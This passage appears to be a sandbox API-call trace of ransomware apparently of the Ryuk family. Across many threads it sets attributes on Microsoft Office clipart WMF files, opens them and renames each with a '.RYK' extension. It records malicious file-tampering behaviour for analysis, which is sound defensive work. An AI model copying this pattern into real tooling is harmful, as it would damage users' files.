	[0262.406] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3179
	os_tid = 0x36b0

	[0261.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF", dwFileAttributes=0x80) returned 0
	[0262.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.408] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.408] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3180
	os_tid = 0x36b4

	[0261.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF", dwFileAttributes=0x80) returned 0
	[0262.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.409] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.409] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3181
	os_tid = 0x36b8

	[0261.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF", dwFileAttributes=0x80) returned 0
	[0262.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.411] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.411] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3182
	os_tid = 0x36bc

	[0261.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF", dwFileAttributes=0x80) returned 0
	[0262.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.412] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.412] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3183
	os_tid = 0x36c0

	[0261.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF", dwFileAttributes=0x80) returned 0
	[0262.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.413] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.413] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3184
	os_tid = 0x36c4

	[0261.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF", dwFileAttributes=0x80) returned 0
	[0261.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.426] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.427] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3190
	os_tid = 0x36e4

	[0261.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF", dwFileAttributes=0x80) returned 0
	[0261.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.425] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3191
	os_tid = 0x36e8

	[0261.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF", dwFileAttributes=0x80) returned 0
	[0261.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.423] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.423] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3192
	os_tid = 0x36ec

	[0261.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF", dwFileAttributes=0x80) returned 0
	[0261.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.422] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.422] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3193
	os_tid = 0x36f0

	[0261.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF", dwFileAttributes=0x80) returned 0
	[0261.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.420] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.420] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3194
	os_tid = 0x36f4

	[0261.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF", dwFileAttributes=0x80) returned 0
	[0261.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.419] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.419] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3195
	os_tid = 0x36f8

	[0261.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF", dwFileAttributes=0x80) returned 0
	[0261.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.417] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.417] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3196
	os_tid = 0x36fc

	[0261.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF", dwFileAttributes=0x80) returned 0
	[0261.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.416] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.416] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3197
	os_tid = 0x3700

	[0261.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF", dwFileAttributes=0x80) returned 0
	[0261.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.415] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.415] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3219
	os_tid = 0x3770

	[0262.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF", dwFileAttributes=0x80) returned 0
	[0262.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.517] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.517] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3220
	os_tid = 0x3774

	[0262.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF", dwFileAttributes=0x80) returned 0
	[0262.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.520] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.520] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3221
	os_tid = 0x3778

	[0262.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF", dwFileAttributes=0x80) returned 0
	[0262.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.522] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3222
	os_tid = 0x377c

	[0262.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF", dwFileAttributes=0x80) returned 0
	[0262.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.524] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.524] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3223
	os_tid = 0x3780

	[0262.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF", dwFileAttributes=0x80) returned 0
	[0262.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.677] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.677] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3224
	os_tid = 0x3784

	[0262.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF", dwFileAttributes=0x80) returned 0
	[0262.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.679] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.679] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3225
	os_tid = 0x3788

	[0262.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF", dwFileAttributes=0x80) returned 0
	[0262.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.681] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.681] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3226
	os_tid = 0x378c

	[0262.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF", dwFileAttributes=0x80) returned 0
	[0262.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.683] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.683] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3227
	os_tid = 0x3790

	[0262.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF", dwFileAttributes=0x80) returned 0
	[0262.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.684] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3228
	os_tid = 0x3794

	[0262.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF", dwFileAttributes=0x80) returned 0
	[0262.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.686] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.686] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3229
	os_tid = 0x3798

	[0262.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF", dwFileAttributes=0x80) returned 0
	[0262.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.689] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.689] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3239
	os_tid = 0x37c4

	[0262.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF", dwFileAttributes=0x80) returned 0
